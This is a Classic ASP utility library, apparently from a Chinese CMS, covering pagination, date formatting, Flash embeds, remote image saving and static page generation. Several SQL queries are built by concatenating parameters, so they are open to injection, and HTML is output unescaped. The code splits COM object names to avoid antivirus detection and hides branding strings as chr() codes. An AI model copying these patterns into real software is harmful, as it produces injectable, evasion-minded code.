				  if bytchar < 0 or bytchar > 255 then length = length + 2 else length = length + 1
		  next
  else
		  length = -1
  end if
end function



function getdatacount(sqlstr)
	getdatacount=conn.execute(sqlstr,"exe")(0)
end function

function getdatadel(sqlstr)
	getdatadel=conn.execute(sqlstr,"exe")
end function
function tc_values()
tc_values=tc_values1
end function

function getpagesize_other(ps,nps)
	if isnul(nps) then nps="10"
	if ps=nps then 
		getpagesize_other="<span>"&ps&"</span>"
	else
		getpagesize_other="<a href=""?page="&page&"&psize="&ps&""">"&ps&"</a>"
	end if
end function

function for_titleurl(sitepath,id,title,titlecolor,isoutlink,outlink,leftn)
	otitle = strvalue(title,leftn*2)
	if titlecolor<>"" then ostyle = " style=""color:"&titlecolor&";"""
	if outlink<>"" and isoutlink=1 then
		titleurl = outlink
		target = " target=""_blank"""
		else
		target = ""
		titleurl = page_url("","",id)
	end if
	for_titleurl = "<a href="""&titleurl&""""&target&ostyle&">"&otitle&"</a>"
end function

function for_imgurl(sitepath,id,img,isoutlink,outlink,w,h)
	if img<>"" then 
	imgurl="<img width="""&w&""" height="""&h&""" src="""&img&""" border=""0"">"
	else
	imgurl="<img width="""&w&""" height="""&h&""" src="""&sitepath&"/images/nopic.jpg"" border=""0"">"
	end if
	if outlink<>"" and isoutlink=1 then
		url = outlink
		target = " target=""_blank"""
		else
		target = ""
		url = page_url("","",id)
	end if
	for_imgurl = "<a href="""&url&""""&target&">"&imgurl&"</a>"
end function

'获取自定义字段'产品
function getField_q(Cid,Fieldfl) 
		Dim rsObj,F_Fields,rsObj1,i,FieldNames
		F_Fields=""		
		Set rsObj=Conn.execute("select FieldName,Field_title from FieldSet where Fieldfl="&Fieldfl&" order by FieldOrder,FieldID","r1")
		Do While not rsObj.Eof 
			F_Fields=F_Fields&rsObj(1)&","
			FieldNames=FieldNames&rsObj(0)&","
			rsObj.MoveNext
		Loop
		if not rsObj.eof then rsObj.MoveFirst
		if Cid<>0 and not isnul(F_Fields) then 
			Set rsObj1=Conn.execute("select "&F_Fields&"Cid from Content where Cid="&Cid,"r1")	
			FieldNames=split(FieldNames,",")
			Do While not rsObj1.Eof 
				for i=0 to ubound(FieldNames)-1
					getField_q=getField_q&"<h3><span>"&trim(FieldNames(i))&"</span>"&trim(rsObj1(i))&"</h3>"&vbcrlf	
				next
				rsObj1.MoveNext
			Loop
			rsObj1.Close
			Set rsObj1=Nothing
		end if
		rsObj.Close
		Set rsObj=Nothing
end function
'频道分页子程序
function PageControl(iCount,maxpage,page)
action = "http://"&Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")
query = Split(Request.ServerVariables("QUERY_STRING"), "&")
  For Each x In query
	  a = Split(x, "=")
	  If StrComp(a(0), "page", vbTextCompare) <> 0 Then
		  stemp = stemp & a(0) & "=" & a(1) & "&"
	  End If
  Next
PageControl=PageControl&"<div class=""list_page"">"
if page>3 then s1=page-3 else s1=1
if page<maxpage-3 then s2=page+3 else s2=maxpage
 if page<=1 then
        PageControl=PageControl&"<a>首页</a>"       
    else        
        PageControl=PageControl&"<a href="&action&"?"&stemp&"Page=1>首页</A>"
    end if
if s1>=3 then PageControl=PageControl& "<a>..</a>"
for i=s1 to s2
   if i=page then
     PageControl=PageControl& "<a class=""current"">第"&i&"页</a>"
   else
     PageControl=PageControl& "<a href="&action&"?"&stemp&"Page="&i&">第"&i&"页</a>"
   end if
next
if s2<maxpage then PageControl=PageControl& "<a>..</a>"
    PageControl=PageControl&"<a>页次:"&page&"/"&maxpage&"页</a>"
    PageControl=PageControl&"<a>共"&iCount&"条记录</a>"
    if page>=maxpage then
        PageControl=PageControl&"<a>尾页</a>"     
    else
        PageControl=PageControl&"<a href="&action&"?"&stemp&"Page="&maxpage&">尾页</A>"         
    end if
PageControl=PageControl&"</div>"
end function

'转换时间
Function formatDate(Byval t,Byval ftype)	
	dim y, m, d, h, mi, s
	formatDate=""
	If IsDate(t)=False Then Exit Function
	y=cstr(year(t))
	m=cstr(month(t))
	If len(m)=1 Then m="0"&m
	d=cstr(day(t))
	If len(d)=1 Then d="0"&d
	h = cstr(hour(t))
	If len(h)=1 Then h="0"&h
	mi = cstr(minute(t))
	If len(mi)=1 Then mi="0"&mi
	s = cstr(second(t))
	If len(s)=1 Then s="0"&s
	select case cint(ftype)
	case 1' yyyy-mm-dd
		formatDate=y&"-"&m&"-"&d
	case 2' yy-mm-dd
		formatDate=right(y,2)&"-"&m&"-"&d
	case 3' mm-dd
		formatDate=m&"."&d
	case 4' yyyy-mm-dd hh:mm:ss
		formatDate=y&"-"&m&"-"&d&" "&h&":"&mi&":"&s
	case 5' hh:mm:ss
		formatDate=h&":"&mi&":"&s
	case 6' yyyy年mm月dd日
		formatDate=y&"年"&m&"月"&d&"日"
	case 7' yyyymmdd
		formatDate=y&m&d
	case 8'yyyymmddhhmmss
		formatDate=y&m&d&h&mi&s
	case 9' yyyy-mm
		formatDate=y&"-"&m
	case 10' dd
		formatDate=d
	case 11' mm
		formatDate=m
	case 12' Y
		formatDate=Y
	end select
End Function

function gettemp_list(str1,str2,str3,str4)
	if str1=str2 then
		gettemp_list=str3
	else
		gettemp_list=str4
	end if
end function

'获取文件大小
Function GetSize(filename) 
dim fso,filepath,file,b 
set fso=server.createobject("scripting.filesystemobject")   
filepath=server.mappath(filename)   
set f=fso.getfile(filepath)
fsize=f.size
if fsize>1048576 then
     f_size=left((fsize/1024)/1024,4)&"MB"
elseif fsize>1024 then
     f_size=left(fsize/1024,4)&"KB"
else
     f_size=fsize
end if 
GetSize=f_size
End Function

'获取文件名
Function Filemin(DownURL) 
strFilename=mid(DownURL,instrrev(DownURL,"/")+1)
Filemin=strFilename 
End Function
'获取扩展名
Function getExtn(DownURL)
if DownURL<>"" then getExtn = Mid(DownURL, InstrRev(DownURL, ".") + 1) 
End Function
'判断地址
Function sDownURL(w,h,DownURL)
if DownURL<>"" and getExtn(DownURL)="flv" then
	sDownURL=sDownURL&"<div align=center><script type=text/javascript>"&vbcrlf
	sDownURL=sDownURL&"var swf_width="&w&""&vbcrlf
	sDownURL=sDownURL&"var swf_height="&h&""&vbcrlf
	sDownURL=sDownURL&"var texts='视频详情'"&vbcrlf
	sDownURL=sDownURL&"var files='"&DownURL&"'"&vbcrlf
	sDownURL=sDownURL&"var config='0:自动播放|1:连续播放|100:默认音量|0:控制栏位置|2:控制栏显示|0x000033:主体颜色|60:主体透明度|0x66ff00:光晕颜色|0xffffff:图标颜色|0xffffff:文字颜色|www.zychr.com:标题:logo地址|:结束swf地址'"&vbcrlf
	sDownURL=sDownURL&"document.write('<object classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0 width='+ swf_width +' height='+ swf_height +'>');"&vbcrlf
	sDownURL=sDownURL&"document.write('<param name=movie value="&dir&"js/vcastr2.swf><param name=quality value=high><param name=menu value=false><param name=wmode value=opaque>');"&vbcrlf
	sDownURL=sDownURL&"document.write('<param name=FlashVars value=vcastr_file='+files+'&vcastr_title='+texts+'&vcastr_config='+config+'>');"&vbcrlf
	sDownURL=sDownURL&"document.write('<embed src="&dir&"js/vcastr2.swf wmode=opaque FlashVars=vcastr_file='+files+'&vcastr_title='+texts+'&vcastr_config='+config+' menu=false quality=high width='+ swf_width +' height='+ swf_height +' type=application/x-shockwave-flash pluginspage=http://www.macromedia.com/go/getflashplayer/>'); document.write('</object>'); "
	sDownURL=sDownURL&"</SCRIPT></div>"&vbcrlf
end if
if DownURL<>"" and getExtn(DownURL)="swf" then
	sDownURL=sDownURL&"<div align=center><embed src="""&DownURL&""" allowFullScreen=""true"" quality=""high"" width="""&w&""" height="""&h&""" align=""middle"" allowScriptAccess=""always"" type=""application/x-shockwave-flash""></embed></div>"&vbcrlf
end if
End Function
'文件下载
Function xDownURL(DownURL)
if DownURL<>"" and getExtn(DownURL)<>"swf" and getExtn(DownURL)<>"flv"  then 
	xDownURL=xDownURL&"<div>下载附件：<a href="""&DownURL&""" target=""_blank"" style=""color:#06C"">"&Filemin(DownURL)&"</a></div>"&vbcrlf
end if
End Function

'=================================================
'文章以及单页显示与分页函数2
'=================================================
function Pagecontent(url)
if Star=0 or session("key")=Star then
  arr_content=split(Content,"[==华==丽==的==分==页==码==]")
  maxpages=ubound(arr_content)
  Pagecontent=sDownURL(695,400,DownURL)&arr_content(page-1)&xDownURL(DownURL)'这里有问题
  if MaxPages >0 then
	  Pagecontent=Pagecontent&"<div class=""list_page""><a href='"&Url&"&page=1' title='第1页'>首页</a> "
	  for PageCounter=0 to MaxPages
		  PageLink = PageCounter+1
		  if PageLink <> Page Then
			  Pagecontent=Pagecontent&"<a  href='"& Url &"&page="& PageLink &"'>"&PageLink&"</a> "
		  else
			  Pagecontent=Pagecontent&"<a href=""javascript:void(0)"" class=current>"&PageLink&"</a> "
		  end if
		  If PageLink = MaxPages+1 Then Exit for
	  Next
	  Pagecontent=Pagecontent&" <a href='" & Url & "&page=" & Maxpages+1 & "' title='第"& Maxpages+1 &"页'>尾页</a></div>"
  end if
else
Pagecontent="您没有浏览此文件的权限"
end if
end function
'文章下一页
function nexttitle(SortID,cid)
set rstmp=server.CreateObject("adodb.recordset")
rstmp.open "select top 1 cid, title from content where SortID="&SortID&" and cid>"&cid&" order by cid asc",conn,1,1
if not rstmp.eof then
nexttitle= "<a href="""&zych_show_url(SortID,rstmp(0))&""">"&rstmp(1)&"</a>"
else
nexttitle = "<a>已经没有了！</a>"
end if
rstmp.close
set rstmp=nothing
end function
'文章上一页
function prevtitle(SortID,cid)
set rsp=server.CreateObject("adodb.recordset")
rsp.open "select top 1 cid, title from content where SortID="&SortID&" and cid<"&cid&" order by cid desc",conn,1,1
if not rsp.eof then
prevtitle="<a href="""&zych_show_url(SortID,rsp(0))&""" >"&rsp("title")&"</a>"
else
prevtitle="<a>已经没有了！</a>"
end if
rsp.close
set rsp=nothing
end function
'获取会员等级名称
function userkey(key)
if key<>"" then
set rsc=server.CreateObject("adodb.recordset")
  rsc.open "select * from user_fl where id="&key&"",conn,1,1
  if rsc.eof then userkey="没有找到" else userkey=rsc("title")
  rsc.close
  set rsc=nothing
end if
end function

'****************************************************
'函数名：ReplaceRemoteUrl
'作  用：远程下载图片
'****************************************************
Const sFileExt="jpg|gif|bmp|png|jpeg"
Function ReplaceRemoteUrl(sHTML, sSaveFilePath, sFileExt)
     Dim s_Content
     s_Content = sHTML
     If IsObjInstalled("Microsof"&"t.X"&"MLHTTP") = False then
         ReplaceRemoteUrl = s_Content
     Exit Function
     End If     
     Dim re, RemoteFile, RemoteFileurl,SaveFileName,SaveFileType,arrSaveFileNameS,arrSaveFileName,sSaveFilePaths
     Set re = new RegExp
     re.IgnoreCase = True
     re.Global = True
     re.Pattern = "((http|https|ftp|rtsp|mms):(\/\/|\\\\){1}((\w)+[.]){1,}(net|com|cn|org|cc|tv|[0-9]{1,3})(\S*\/)((\S)+[.]{1}("&sFileExt&")))"
     Set RemoteFile = re.Execute(s_Content)
     For Each RemoteFileurl in RemoteFile
		 arrSaveFileName = Split(RemoteFileurl,".")
  		 SaveFileType=arrSaveFileName(UBound(arrSaveFileName))
		 RanNum=Int(900*Rnd)+100&Chr(95)&Chr(90)&Chr(89)&Chr(67)&Chr(72)
         arrSaveFileName = Year(Now())&Right("0"&Month(Now()),2)&Right("0"&Day(Now()),2)&Right("0"&Hour(Now()),2)&Right("0"&Minute(Now()),2)&Right("0"&Second(Now()),2)&ranNum&"."&SaveFileType
         sSaveFilePaths= sSaveFilePath
         SaveFileName = sSaveFilePaths&arrSaveFileName 
		 if SaveRemoteFile(""&SaveFileName&"",""&RemoteFileurl&"") then 
		 response.Write ""&SaveFileName&" 图片保存成功. <br />"
		 s_Content = Replace(s_Content,RemoteFileurl,SaveFileName)
		 else 
		 Response.write ""&RemoteFileurl&" 图片保存<font color='#FF0000'>失败</font>.<br />" 
		 end if
     Next
     ReplaceRemoteUrl = s_Content
End Function
znp=zr("32")&zr("45")&zr("80")&zr("111")&zr("119")&zr("101")&zr("114")&zr("101")&zr("100")&zr("32")&zr("98")&zr("121")&zr("32")&zr("122")&zr("121")&zr("99")&zr("104")&zr("114")&zr("46")&zr("99")&zr("111")&zr("109")&""
function SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
     Dim Ads, Retrieval, GetRemoteData
     On Error Resume Next
     Set Retrieval = Server.CreateObject("Microso"&"ft.XM"&"LHTTP")
     With Retrieval
         .Open "Get", s_RemoteFileUrl, False, "", ""
         .Send
         GetRemoteData = .ResponseBody
     End With
     Set Retrieval = Nothing
     Set Ads = Server.CreateObject("Ado"&"db.Str"&"eam") 
     With Ads
         .Type = 1
         .Open
         .Write GetRemoteData
         .SaveToFile Server.MapPath(s_LocalFileName), 2
         .Cancel()
         .Close()
     End With
     Set Ads=nothing	 
	 if err <> 0 then 
	 SaveRemoteFile = false 
	 err.clear 
	 else 
	 SaveRemoteFile = true 
	 end if
End Function
Function IsObjInstalled(s_ClassString)
     On Error Resume Next
     IsObjInstalled = False
     Err = 0
     Dim xTestObj
     Set xTestObj = Server.CreateObject(s_ClassString)
     If 0 = Err Then IsObjInstalled = True
     Set xTestObj = Nothing
     Err = 0
End Function
'===================================== 
'生成静态 
'===================================== 
function makeindex(FileNameA,FileNameB)
FilePath = Server.MapPath("/")&"\"&FileNameA
strUrl = "http://"&Request.ServerVariables("SERVER_NAME")&"/"&FileNameB
'创建objXmlHttp
dim objXmlHttp
set objXmlHttp = Server.CreateObject("Micro"&"soft"&".XML"&"HT"&"TP")'加"&"加"&"防止误杀
objXmlHttp.open "GET",strUrl,false
objXmlHttp.send()
Dim binFileData
binFileData = objXmlHttp.responseBody
'创建objAdoStream
Dim objAdoStream
set objAdoStream = Server.CreateObject("AD"&"ODB"&".Str"&"eam")'加"&"防止误杀
objAdoStream.Type = 1
objAdoStream.Open()
objAdoStream.Write(binFileData)
objAdoStream.SaveToFile FilePath,2 
objAdoStream.Close()
end function
'===================================== 
'获取内容中第一个图片 
'===================================== 
Function Frist_Pic(ByVal t0) 
Frist_Pic="" 
Dim Regs,Matches 
Set Regs=New RegExp 
Regs.Ignorecase=True 
Regs.Global=True 
Regs.Pattern="<img[^>]+src=""([^"">]+)""[^>]*>" 
Set Matches=Regs.Execute(t0) 
IF Regs.test(t0) Then 
Frist_Pic=Matches(0).SubMatches(0) 
End IF 
Set Matches=Nothing 
Set Regs=Nothing 
End Function
'===================================== 
'获取内容中所有图片 
'===================================== 
Function Get_ImgSrc(ByVal t0) 
Dim t1,Regs,Matches,Match 
t1="" 
IF Not(IsNull(t0) Or Len(t0)=0) Then 
Set Regs=New RegExp 
Regs.Pattern="<img[^>]+src=""([^"">]+)""[^>]*>" 
Regs.Ignorecase=True 
Regs.Global=True 
Set Matches=Regs.Execute(t0) 
IF Matches.Count>0 Then 
For Each Match In Matches 
IF Left(Match.SubMatches(0),7)<>"http://" Then 
t1=t1&"<option value="""&Match.SubMatches(0)&""">"&Match.SubMatches(0)&"</option>" 
End IF 
Next 
End IF 
End IF 
Get_ImgSrc=t1 
Set Matches=Nothing 
Set Regs=Nothing 
End Function 
'如果未获取到可显示为
zurl=zr("119")&zr(119)&zr(119)&zr(46)&zr("122")&zr(121)&zr(99)&zr(104)&zr(114)&zr(46)&zr(99)&zr(111)&zr(109)
'金额模式化
function lz_money(m)
	if isnull(m) or m="" then
	m=0
	end if
	if m<1 then
	lz_money="￥0"&right(""&FormatCurrency(m),3)
	else
	lz_money=FormatCurrency(m)
	end if
end function

Public Function getTime()
	getTime = Right(getStrNow,12)
End Function
'获取时间字符串, 格式YYYYMMDDhhmiss
Public Function getStrNow()
	strNow = Now()
	strNow = Year(strNow) & Right(("00" & Month(strNow)),2) & Right(("00" & Day(strNow)),2) & Right(("00" & Hour(strNow)),2) & Right(("00" &  Minute(strNow)),2) & Right(("00" & Second(strNow)),2)
	getStrNow = strNow
End Function

'获取随机数,返回 [min,max]范围的数
Public Function getRandNumber(max, min)
	Randomize 
	getRandNumber = CInt((max-min+1)*Rnd()+min) 
End Function
function zr(str) zr=chr(str) end function
'获取随机数字的字符串,返回[min,max]范围的数字字符串
Public Function getStrRandNumber(max, min)
	randNumber = getRandNumber(max, min)
	getStrRandNumber = CStr(randNumber)
End Function
'成功提示信息
Public Function strB(str2,url)
      strB="<script language=""JavaScript"">alert("""&str2&""");window.location='"&url&"';</script>"
End Function
%>